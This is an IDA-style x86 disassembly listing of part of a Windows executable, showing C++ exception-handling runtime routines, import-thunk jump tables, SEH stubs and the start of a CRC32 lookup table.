		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_433680
		push	offset dword_4364F8
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_433E70
		mov	esp, ebp
		pop	ebp
		retn
sub_433620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433650	proc near		; DATA XREF: .data:off_4360C8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_433600
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_433675
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419DD0
		add	esp, 4


loc_433675:				; CODE XREF: sub_433650+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433680	proc near		; CODE XREF: sub_433620+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4332D0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4360C8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4336B0	proc near		; DATA XREF: .data:00437010o
		push	ebp
		mov	ebp, esp
		call	sub_40C15A
		call	sub_4336D0
		call	sub_4336F0
		call	sub_433720
		pop	ebp
		retn
sub_4336B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4336D0	proc near		; CODE XREF: sub_4336B0+8p
		push	ebp
		mov	ebp, esp
		push	offset nullsub_1
		call	sub_419F60
		add	esp, 4
		pop	ebp
		retn
sub_4336D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4336F0	proc near		; CODE XREF: sub_4336B0+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, byte_4DF69C
		and	eax, 1
		test	eax, eax
		jnz	short loc_433710
		mov	cl, byte_4DF69C
		or	cl, 1
		mov	byte_4DF69C, cl


loc_433710:				; CODE XREF: sub_4336F0+Fj
		pop	ebp
		retn
sub_4336F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433720	proc near		; CODE XREF: sub_4336B0+12p
		push	ebp
		mov	ebp, esp
		push	offset sub_433740
		call	sub_419F60
		add	esp, 4
		pop	ebp
		retn
sub_433720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433740	proc near		; DATA XREF: sub_433720+3o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_433740	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_433746	proc near		; CODE XREF: sub_40B575+5Ep
					; sub_40D0F7+148p
		jmp	dword_4E0528
sub_433746	endp

; ---------------------------------------------------------------------------
		jmp	dword_4E0524
; ---------------------------------------------------------------------------
		jmp	dword_4E0520
; ---------------------------------------------------------------------------
		jmp	dword_4E051C
; ---------------------------------------------------------------------------
		jmp	dword_4E0518
; ---------------------------------------------------------------------------
		jmp	dword_4E0514
; ---------------------------------------------------------------------------
		jmp	dword_4E0510
; ---------------------------------------------------------------------------
		jmp	dword_4E050C
; ---------------------------------------------------------------------------
		jmp	dword_4E0508
; ---------------------------------------------------------------------------
		jmp	dword_4E052C
; ---------------------------------------------------------------------------
		jmp	dword_4E0500
; ---------------------------------------------------------------------------
		jmp	dword_4E04FC
; ---------------------------------------------------------------------------
		jmp	dword_4E04F8
; ---------------------------------------------------------------------------
		jmp	dword_4E04F4
; ---------------------------------------------------------------------------
		jmp	dword_4E04F0
; ---------------------------------------------------------------------------
		jmp	dword_4E0504

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4337A6	proc near		; CODE XREF: .data:00414BACp
		jmp	dword_4E04E0
sub_4337A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4337AC	proc near		; CODE XREF: .data:00414B7Fp
		jmp	dword_4E04E4
sub_4337AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4337B2	proc near		; CODE XREF: .data:00414B3Ep
		jmp	dword_4E04E8
sub_4337B2	endp

; ---------------------------------------------------------------------------
		jmp	dword_4E0328
; ---------------------------------------------------------------------------
		jmp	dword_4E032C
; ---------------------------------------------------------------------------
		jmp	dword_4E0330
; ---------------------------------------------------------------------------
		jmp	dword_4E0334
; ---------------------------------------------------------------------------
		jmp	dword_4E0338
; ---------------------------------------------------------------------------
		jmp	dword_4E033C
; ---------------------------------------------------------------------------
		jmp	dword_4E0340
; ---------------------------------------------------------------------------
		jmp	dword_4E0344
; ---------------------------------------------------------------------------
		jmp	dword_4E0348
; ---------------------------------------------------------------------------
		jmp	dword_4E034C
; ---------------------------------------------------------------------------
		jmp	dword_4E0350
; ---------------------------------------------------------------------------
		jmp	dword_4E0354
; ---------------------------------------------------------------------------
		jmp	dword_4E0358
; ---------------------------------------------------------------------------
		jmp	dword_4E035C
; ---------------------------------------------------------------------------
		jmp	dword_4E0360
; ---------------------------------------------------------------------------
		jmp	dword_4E0364
; ---------------------------------------------------------------------------
		jmp	dword_4E0368
; ---------------------------------------------------------------------------
		jmp	dword_4E036C
; ---------------------------------------------------------------------------
		jmp	dword_4E0370
; ---------------------------------------------------------------------------
		jmp	dword_4E0374
; ---------------------------------------------------------------------------
		jmp	dword_4E0378
; ---------------------------------------------------------------------------
		jmp	dword_4E037C
; ---------------------------------------------------------------------------
		jmp	dword_4E0380
; ---------------------------------------------------------------------------
		jmp	dword_4E0384
; ---------------------------------------------------------------------------
		jmp	dword_4E0388
; ---------------------------------------------------------------------------
		jmp	dword_4E038C
; ---------------------------------------------------------------------------
		jmp	dword_4E0390
; ---------------------------------------------------------------------------
		jmp	dword_4E0394
; ---------------------------------------------------------------------------
		jmp	dword_4E0398
; ---------------------------------------------------------------------------
		jmp	dword_4E039C
; ---------------------------------------------------------------------------
		jmp	dword_4E03A0
; ---------------------------------------------------------------------------
		jmp	dword_4E03A4
; ---------------------------------------------------------------------------
		jmp	dword_4E03A8
; ---------------------------------------------------------------------------
		jmp	dword_4E03AC
; ---------------------------------------------------------------------------
		jmp	dword_4E03B0
; ---------------------------------------------------------------------------
		jmp	dword_4E03B4
; ---------------------------------------------------------------------------
		jmp	dword_4E03B8
; ---------------------------------------------------------------------------
		jmp	dword_4E03BC
; ---------------------------------------------------------------------------
		jmp	dword_4E03C0
; ---------------------------------------------------------------------------
		jmp	dword_4E03C4
; ---------------------------------------------------------------------------
		jmp	dword_4E03C8
; ---------------------------------------------------------------------------
		jmp	dword_4E03CC
; ---------------------------------------------------------------------------
		jmp	dword_4E03D0
; ---------------------------------------------------------------------------
		jmp	dword_4E03D4
; ---------------------------------------------------------------------------
		jmp	dword_4E03D8
; ---------------------------------------------------------------------------
		jmp	dword_4E03DC
; ---------------------------------------------------------------------------
		jmp	dword_4E03E0
; ---------------------------------------------------------------------------
		jmp	dword_4E03E4
; ---------------------------------------------------------------------------
		jmp	dword_4E03E8
; ---------------------------------------------------------------------------
		jmp	dword_4E03EC
; ---------------------------------------------------------------------------
		jmp	dword_4E03F0
; ---------------------------------------------------------------------------
		jmp	dword_4E03F4
; ---------------------------------------------------------------------------
		jmp	dword_4E03F8
; ---------------------------------------------------------------------------
		jmp	dword_4E03FC
; ---------------------------------------------------------------------------
		jmp	dword_4E02CC
; ---------------------------------------------------------------------------
		jmp	dword_4E0400
; ---------------------------------------------------------------------------
		jmp	dword_4E0404
; ---------------------------------------------------------------------------
		jmp	dword_4E0408
; ---------------------------------------------------------------------------
		jmp	dword_4E040C
; ---------------------------------------------------------------------------
		jmp	dword_4E0410
; ---------------------------------------------------------------------------
		jmp	dword_4E0414
; ---------------------------------------------------------------------------
		jmp	dword_4E0418
; ---------------------------------------------------------------------------
		jmp	dword_4E041C
; ---------------------------------------------------------------------------
		jmp	dword_4E0420
; ---------------------------------------------------------------------------
		jmp	dword_4E0424
; ---------------------------------------------------------------------------
		jmp	dword_4E0428
; ---------------------------------------------------------------------------
		jmp	dword_4E042C
; ---------------------------------------------------------------------------
		jmp	dword_4E0430
; ---------------------------------------------------------------------------
		jmp	dword_4E0434
; ---------------------------------------------------------------------------
		jmp	dword_4E0438
; ---------------------------------------------------------------------------
		jmp	dword_4E043C
; ---------------------------------------------------------------------------
		jmp	dword_4E0440
; ---------------------------------------------------------------------------
		jmp	dword_4E0444
; ---------------------------------------------------------------------------
		jmp	dword_4E0448

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_433974	proc near		; CODE XREF: sub_418D80+27p
					; sub_4190F0+13p
		jmp	dword_4E044C
sub_433974	endp

; ---------------------------------------------------------------------------
		jmp	dword_4E0450
; ---------------------------------------------------------------------------
		jmp	dword_4E0454
; ---------------------------------------------------------------------------
		jmp	dword_4E0458
; ---------------------------------------------------------------------------
		jmp	dword_4E045C
; ---------------------------------------------------------------------------
		jmp	dword_4E0460
; ---------------------------------------------------------------------------
		jmp	dword_4E0464
; ---------------------------------------------------------------------------
		jmp	dword_4E0468
; ---------------------------------------------------------------------------
		jmp	dword_4E046C
; ---------------------------------------------------------------------------
		jmp	dword_4E0470
; ---------------------------------------------------------------------------
		jmp	dword_4E0474
; ---------------------------------------------------------------------------
		jmp	dword_4E0478
; ---------------------------------------------------------------------------
		jmp	dword_4E047C
; ---------------------------------------------------------------------------
		jmp	dword_4E0480
; ---------------------------------------------------------------------------
		jmp	dword_4E0484
; ---------------------------------------------------------------------------
		jmp	dword_4E0488
; ---------------------------------------------------------------------------
		jmp	dword_4E048C
; ---------------------------------------------------------------------------
		jmp	dword_4E0490
; ---------------------------------------------------------------------------
		jmp	dword_4E0494
; ---------------------------------------------------------------------------
		jmp	dword_4E0498
; ---------------------------------------------------------------------------
		jmp	dword_4E049C
; ---------------------------------------------------------------------------
		jmp	dword_4E04A0
; ---------------------------------------------------------------------------
		jmp	dword_4E04A4
; ---------------------------------------------------------------------------
		jmp	dword_4E04A8
; ---------------------------------------------------------------------------
		jmp	dword_4E04AC
; ---------------------------------------------------------------------------
		jmp	dword_4E04B0
; ---------------------------------------------------------------------------
		jmp	dword_4E04B4
; ---------------------------------------------------------------------------
		jmp	dword_4E04B8
; ---------------------------------------------------------------------------
		jmp	dword_4E04BC
; ---------------------------------------------------------------------------
		jmp	dword_4E04C0
; ---------------------------------------------------------------------------
		jmp	dword_4E04C4
; ---------------------------------------------------------------------------
		jmp	dword_4E04C8
; ---------------------------------------------------------------------------
		jmp	dword_4E04CC
; ---------------------------------------------------------------------------
		jmp	dword_4E04D0
; ---------------------------------------------------------------------------
		jmp	dword_4E0324
; ---------------------------------------------------------------------------
		jmp	dword_4E0320
; ---------------------------------------------------------------------------
		jmp	dword_4E031C
; ---------------------------------------------------------------------------
		jmp	dword_4E0318
; ---------------------------------------------------------------------------
		jmp	dword_4E0314
; ---------------------------------------------------------------------------
		jmp	dword_4E0310
; ---------------------------------------------------------------------------
		jmp	dword_4E030C
; ---------------------------------------------------------------------------
		jmp	dword_4E0308
; ---------------------------------------------------------------------------
		jmp	dword_4E0304
; ---------------------------------------------------------------------------
		jmp	dword_4E0300
; ---------------------------------------------------------------------------
		jmp	dword_4E02FC
; ---------------------------------------------------------------------------
		jmp	dword_4E02F8
; ---------------------------------------------------------------------------
		jmp	dword_4E02F4
; ---------------------------------------------------------------------------
		jmp	dword_4E02F0
; ---------------------------------------------------------------------------
		jmp	dword_4E02EC
; ---------------------------------------------------------------------------
		jmp	dword_4E02E8
; ---------------------------------------------------------------------------
		jmp	dword_4E02E4
; ---------------------------------------------------------------------------
		jmp	dword_4E02E0
; ---------------------------------------------------------------------------
		jmp	dword_4E02DC
; ---------------------------------------------------------------------------
		jmp	dword_4E02D8
; ---------------------------------------------------------------------------
		jmp	dword_4E02D4
; ---------------------------------------------------------------------------
		jmp	dword_4E02D0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433AD0	proc near		; CODE XREF: sub_4118FD+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_433ADE
		xor	eax, eax
		jmp	short loc_433B13
; ---------------------------------------------------------------------------


loc_433ADE:				; CODE XREF: sub_433AD0+8j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_415090
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_433B11
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_418870
		add	esp, 8
		jmp	short loc_433B13
; ---------------------------------------------------------------------------


loc_433B11:				; CODE XREF: sub_433AD0+2Dj
		xor	eax, eax


loc_433B13:				; CODE XREF: sub_433AD0+Cj
					; sub_433AD0+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_433AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_4360DC
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433B50	proc near		; DATA XREF: .data:off_4360DCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_433CB0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_433B75
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419DD0
		add	esp, 4


loc_433B75:				; CODE XREF: sub_433B50+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433B50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433B80	proc near		; CODE XREF: sub_433450+2Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_4360DC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_419E80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+4], 0
		jz	short loc_433BD6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	sub_418870
		add	esp, 8


loc_433BD6:				; CODE XREF: sub_433B80+3Fj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+8], 1
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433B80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433BF0	proc near		; CODE XREF: sub_4332D0+23p
					; .data:00433C9Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_4360DC
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_433C5F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_419E80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_433C5D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_418870
		add	esp, 8


loc_433C5D:				; CODE XREF: sub_433BF0+55j
		jmp	short loc_433C6B
; ---------------------------------------------------------------------------


loc_433C5F:				; CODE XREF: sub_433BF0+25j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx


loc_433C6B:				; CODE XREF: sub_433BF0:loc_433C5Dj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433BF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	eax, [ebp+8]
		jz	short loc_433CA3
		mov	ecx, [ebp-4]
		call	sub_433CB0
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_433BF0


loc_433CA3:				; CODE XREF: .data:00433C8Dj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433CB0	proc near		; CODE XREF: sub_433390+41p
					; sub_433B50+Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_4360DC
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_433CE0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419DD0
		add	esp, 4


loc_433CE0:				; CODE XREF: sub_433CB0+19j
		mov	esp, ebp
		pop	ebp
		retn
sub_433CB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433CF0	proc near		; DATA XREF: .data:004360E0o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_433D08
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+4]
		jmp	short loc_433D0D
; ---------------------------------------------------------------------------


loc_433D08:				; CODE XREF: sub_433CF0+Ej
		mov	eax, offset aUnknownExcepti ; "Unknown exception"


loc_433D0D:				; CODE XREF: sub_433CF0+16j
		mov	esp, ebp
		pop	ebp
		retn
sub_433CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433D20	proc near		; CODE XREF: sub_433D60+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4360FC
		push	1Bh
		call	sub_41BC80
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_433D52
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		push	eax
		call	sub_41C6D0
		add	esp, 4


loc_433D52:				; CODE XREF: sub_433D20+21j
		push	1Bh
		call	sub_41BD20
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_433D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433D60	proc near		; DATA XREF: .data:off_4360FCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_433D20
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_433D85
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419DD0
		add	esp, 4


loc_433D85:				; CODE XREF: sub_433D60+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433D60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_418A30
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_418A30
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_418A30
		add	esp, 8
		xor	edx, edx
		test	eax, eax
		setnle	dl
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_4360FC
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433E70	proc near		; CODE XREF: sub_433270+48p
					; sub_433360+1Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	ecx, 8
		mov	esi, offset dword_436100
		lea	edi, [ebp+var_20]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		call	dword_4E04C0	; RaiseException
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	8
sub_433E70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_408E96
; ---------------------------------------------------------------------------


loc_433EC8:				; DATA XREF: .data:004362ACo
		lea	ecx, [ebp-10h]
		jmp	sub_408EB3
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_408EB3
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_408ED0
; ---------------------------------------------------------------------------


loc_433EE0:				; DATA XREF: .data:loc_408986o
		mov	eax, offset dword_4362C0
		jmp	sub_418DE0
; ---------------------------------------------------------------------------
		align 4


loc_433EEC:				; DATA XREF: .data:004362E8o
		lea	ecx, [ebp-3Ch]
		jmp	sub_40BC0F
; ---------------------------------------------------------------------------
		mov	eax, [ebp-24h]
		and	eax, 1
		test	eax, eax
		jz	locret_433F0A
		mov	ecx, [ebp+8]
		jmp	sub_40BC0F
; ---------------------------------------------------------------------------

locret_433F0A:				; CODE XREF: .data:00433EFCj
		retn
; ---------------------------------------------------------------------------


loc_433F0B:				; DATA XREF: sub_40B7B6o
		mov	eax, offset dword_4362EC
		jmp	sub_418DE0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		jmp	sub_40BC0F
; ---------------------------------------------------------------------------


loc_433F1D:				; DATA XREF: .data:00436314o
		lea	ecx, [ebp-1Ch]
		jmp	sub_40BC0F
; ---------------------------------------------------------------------------


loc_433F25:				; DATA XREF: sub_40B92Do
		mov	eax, offset dword_436318
		jmp	sub_418DE0
; ---------------------------------------------------------------------------
		align 10h


loc_433F30:				; DATA XREF: sub_40C028o
		mov	eax, offset dword_436368
		jmp	sub_418DE0
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40BC0F
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_433270	proc near		; DATA XREF: sub_433270+5o
		mov	eax, offset dword_436408
		jmp	sub_418DE0
SEH_433270	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_433CB0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4332D0	proc near		; DATA XREF: sub_4332D0+5o
		mov	eax, offset dword_436430
		jmp	sub_418DE0
SEH_4332D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_433CB0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_433390	proc near		; DATA XREF: sub_433390+5o
		mov	eax, offset dword_436478
		jmp	sub_418DE0
SEH_433390	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		call	sub_433CB0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_433450	proc near		; DATA XREF: sub_433450+5o
		mov	eax, offset dword_4364A0
		jmp	sub_418DE0
SEH_433450	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40BC0F
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_433570	proc near		; DATA XREF: sub_433570+5o
		mov	eax, offset dword_436508
		jmp	sub_418DE0
SEH_433570	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
		dd 476FAB24h, 0
		dd 2, 70h, 0
		dd 4CC00h, 0
dword_434020	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
